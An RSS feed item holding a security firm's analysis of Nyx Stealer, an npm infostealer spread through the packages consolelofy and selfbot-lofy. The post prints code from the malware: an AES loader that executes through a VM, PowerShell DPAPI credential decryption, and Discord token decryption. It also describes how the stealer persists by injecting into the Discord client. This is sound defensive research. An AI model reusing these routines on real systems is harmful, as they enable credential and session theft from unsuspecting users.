<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Fátima Said</title>
    <description>The latest articles on Forem by Fátima Said (@devrel_xygeni).</description>
    <link>https://forem.com/devrel_xygeni</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3011347%2F980ba425-e0ba-43ee-85fd-7bc7b07be421.png</url>
      <title>Forem: Fátima Said</title>
      <link>https://forem.com/devrel_xygeni</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/devrel_xygeni"/>
    <language>en</language>
    <item>
      <title>New npm Infostealer Discovery: Nyx Stealer Hijacks Discord Sessions</title>
      <dc:creator>Fátima Said</dc:creator>
      <pubDate>Mon, 02 Mar 2026 16:07:49 +0000</pubDate>
      <link>https://forem.com/xygenisecurity/new-npm-infostealer-discovery-nyx-stealer-hijacks-discord-sessions-9l8</link>
      <guid>https://forem.com/xygenisecurity/new-npm-infostealer-discovery-nyx-stealer-hijacks-discord-sessions-9l8</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://xygeni.io/blog/malicious-code-digest-npm-and-pypi-malware-report/" rel="noopener noreferrer"&gt;The Xygeni Security Research&lt;/a&gt; Team identified a sophisticated npm infostealer campaign delivered through two malicious packages: &lt;code&gt;consolelofy&lt;/code&gt; and &lt;code&gt;selfbot-lofy&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The latest version (&lt;code&gt;consolelofy@1.3.0&lt;/code&gt;) embeds a &lt;strong&gt;216KB AES-encrypted payload&lt;/strong&gt; that decrypts at runtime and executes via &lt;code&gt;vm.runInNewContext()&lt;/code&gt;. Because the malicious logic is fully encrypted, static scanners relying on string inspection cannot observe its behavior until execution time.&lt;/p&gt;

&lt;p&gt;Once decrypted, the payload, internally branded &lt;strong&gt;Nyx Stealer&lt;/strong&gt;, targets:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Discord authentication tokens
&lt;/li&gt;
&lt;li&gt;50+ browser credential stores
&lt;/li&gt;
&lt;li&gt;90+ cryptocurrency wallet extensions
&lt;/li&gt;
&lt;li&gt;Roblox, Instagram, Spotify, Steam, Telegram, and TikTok sessions
&lt;/li&gt;
&lt;li&gt;Discord desktop client persistence
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All 20 versions across both packages were reported and confirmed malicious.&lt;/p&gt;




&lt;h2&gt;
  
  
  Technical Overview of This npm Infostealer
&lt;/h2&gt;

&lt;p&gt;Unlike traditional install-time malware, this campaign relies on a runtime &lt;a href="https://xygeni.io/sscs-glossary/wha-is-decryption/" rel="noopener noreferrer"&gt;decryption model&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;There are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No malicious &lt;code&gt;preinstall&lt;/code&gt; or &lt;code&gt;postinstall&lt;/code&gt; hooks
&lt;/li&gt;
&lt;li&gt;No obvious install-time network calls
&lt;/li&gt;
&lt;li&gt;No plaintext credential harvesting logic
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The payload activates when the module is imported. The entire malicious body is encrypted and only materializes in memory at runtime.&lt;/p&gt;

&lt;p&gt;This design specifically avoids detection during package installation.&lt;/p&gt;




&lt;h2&gt;
  
  
  How This npm Infostealer Actually Executes
&lt;/h2&gt;

&lt;p&gt;Before analyzing what Nyx Stealer steals, we need to understand how it executes.&lt;/p&gt;

&lt;p&gt;The malicious logic inside this npm infostealer follows a consistent pattern:&lt;/p&gt;

&lt;p&gt;A small loader decrypts a large encrypted payload and executes it dynamically inside a Node.js VM context.&lt;/p&gt;

&lt;p&gt;This design is deliberate. The attacker is not hiding functionality behind obfuscation alone, they are removing the malicious code from static visibility entirely.&lt;/p&gt;

&lt;p&gt;At a high level, the wrapper does four things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Derives an AES key from a hardcoded passphrase using SHA-256
&lt;/li&gt;
&lt;li&gt;Decrypts a large hex-encoded ciphertext using AES-256-CBC
&lt;/li&gt;
&lt;li&gt;Executes the decrypted JavaScript using &lt;code&gt;vm.runInNewContext()&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Provides a sandbox that still exposes powerful runtime primitives
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Core Technique Summary
&lt;/h3&gt;

&lt;h2&gt;
  
  
  High-Level Execution Model
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Configuration / Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Algorithm&lt;/td&gt;
&lt;td&gt;AES-256-CBC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Key Derivation&lt;/td&gt;
&lt;td&gt;SHA-256(passphrase)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Initialization Vector (IV)&lt;/td&gt;
&lt;td&gt;16 bytes of 0x00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution&lt;/td&gt;
&lt;td&gt;vm.runInNewContext(decrypted, sandbox)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Critically, the sandbox passes through:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;require&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;process&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Buffer&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;timers&lt;/li&gt;
&lt;li&gt;module exports&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This means the decrypted payload retains full capability to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Spawn processes
&lt;/li&gt;
&lt;li&gt;Read and write files
&lt;/li&gt;
&lt;li&gt;Make network calls
&lt;/li&gt;
&lt;li&gt;Modify local applications
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is not a restricted VM. It is a VM used as an execution trampoline.&lt;/p&gt;

&lt;h2&gt;
  
  
  Runtime Encryption Pattern (Core Execution Mechanism)
&lt;/h2&gt;

&lt;p&gt;The loader is small.&lt;br&gt;&lt;br&gt;
The malicious body is not.&lt;/p&gt;

&lt;p&gt;Below is the execution pattern found inside the package:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;crypto&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;vm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;vm&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;decryptAndExecute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;encryptedHex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;passphrase&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createHash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sha256&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;passphrase&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;decipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createDecipheriv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;aes-256-cbc&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;decrypted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;decipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;encryptedHex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;hex&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;decrypted&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nx"&gt;decipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;final&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sandbox&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;module&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;exports&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;__dirname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;__filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;setInterval&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;clearTimeout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nx"&gt;clearInterval&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;

    &lt;span class="nx"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;runInNewContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;decrypted&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;sandbox&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why This Matters
&lt;/h2&gt;

&lt;p&gt;The decrypted payload:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Does not exist in plaintext inside the npm package
&lt;/li&gt;
&lt;li&gt;Is invisible to simple grep or static string scanning
&lt;/li&gt;
&lt;li&gt;Only materializes in memory at runtime
&lt;/li&gt;
&lt;li&gt;Executes with full Node runtime capabilities
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This AES + VM execution combination is a strong behavioral indicator of an npm infostealer attempting to evade static inspection.&lt;/p&gt;

&lt;p&gt;In other words:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If you scan the package source tree, you do not see a stealer.
&lt;/li&gt;
&lt;li&gt;You see a decryptor.
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What Happens After Decryption
&lt;/h2&gt;

&lt;p&gt;Once executed, Nyx Stealer launches parallel data collection waves.&lt;/p&gt;

&lt;h3&gt;
  
  
  Wave 1: Browser Credential Extraction
&lt;/h3&gt;

&lt;p&gt;The malware:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Downloads a Python runtime from NuGet CDN
&lt;/li&gt;
&lt;li&gt;Installs cryptographic libraries
&lt;/li&gt;
&lt;li&gt;Extracts Chromium-based credential stores
&lt;/li&gt;
&lt;li&gt;Decrypts DPAPI-protected secrets
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Instead of compiling native bindings, it leverages PowerShell to call Windows DPAPI directly.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dpapiUnprotectWithPowerShell&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dataBuf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;b64&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;dataBuf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;base64&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Add-Type -AssemblyName System.Security;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
        &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;$b=[Convert]::FromBase64String('&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;b64&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;');&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
        &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;$p=[System.Security.Cryptography.ProtectedData]::Unprotect(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
        &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
        &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;[Console]::Out.Write([Convert]::ToBase64String($p))&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="s2"&gt;`powershell -NoProfile -ExecutionPolicy Bypass -Command "&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;ps&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;execSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;encoding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;trim&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;base64&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This approach:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Avoids compilation artifacts
&lt;/li&gt;
&lt;li&gt;Uses native Windows crypto APIs
&lt;/li&gt;
&lt;li&gt;Blends into administrative tooling
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It is OS-level credential decryption, not scraping.&lt;/p&gt;

&lt;h3&gt;
  
  
  Wave 2: Discord Token Decryption
&lt;/h3&gt;

&lt;p&gt;The stealer is protocol-aware. It understands Discord’s encrypted token format.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;decryptToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;encryptedToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tokenParts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;encryptedToken&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dQw4w9WgXcQ:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;encryptedData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tokenParts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;base64&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;encryptedData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;encryptedData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;encryptedData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;decipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createDecipheriv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;aes-256-gcm&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;decipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAuthTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;decipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Operational flow:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Extract master key from Discord’s Local State
&lt;/li&gt;
&lt;li&gt;Decrypt master key via DPAPI
&lt;/li&gt;
&lt;li&gt;Decrypt AES-GCM token blobs
&lt;/li&gt;
&lt;li&gt;Validate tokens against Discord API
&lt;/li&gt;
&lt;li&gt;Enrich with Nitro, badges, billing info
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is not generic credential dumping. It is protocol-aware session hijacking.&lt;br&gt;
If successful, wallet compromise is immediate and irreversible.&lt;/p&gt;

&lt;p&gt;This represents the campaign’s highest-value monetization vector.&lt;/p&gt;
&lt;h2&gt;
  
  
  Persistence via Discord Desktop Injection
&lt;/h2&gt;

&lt;p&gt;After harvesting credentials, Nyx Stealer attempts persistence by modifying the local Discord client.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Operational Sequence
&lt;/h2&gt;

&lt;p&gt;The infostealer performs the following steps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Terminates running Discord processes
&lt;/li&gt;
&lt;li&gt;Locates installed Discord variants (Stable, Canary, PTB)
&lt;/li&gt;
&lt;li&gt;Overwrites &lt;code&gt;discord_desktop_core/index.js&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Injects attacker-controlled webhook logic
&lt;/li&gt;
&lt;li&gt;Restarts Discord
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This ensures that future Discord sessions automatically leak fresh authentication tokens.&lt;/p&gt;

&lt;p&gt;Importantly, this persistence does not rely on scheduled tasks or registry modifications. It leverages application-level code modification, a stealthier approach.&lt;/p&gt;

&lt;p&gt;Even if the malicious npm package is later removed, the Discord client remains compromised.&lt;/p&gt;

&lt;h2&gt;
  
  
  Technical Comparison: Legitimate Selfbot vs npm Infostealer
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Legitimate Library&lt;/th&gt;
&lt;th&gt;Nyx npm Infostealer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Encryption&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Full AES-encrypted payload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Runtime VM&lt;/td&gt;
&lt;td&gt;Not required&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;vm.runInNewContext&lt;/code&gt; execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential Access&lt;/td&gt;
&lt;td&gt;Discord API only&lt;/td&gt;
&lt;td&gt;Browser, wallets, DPAPI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;External Downloads&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Python runtime via NuGet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Discord client injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Monetization&lt;/td&gt;
&lt;td&gt;Bot automation&lt;/td&gt;
&lt;td&gt;Credential resale&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
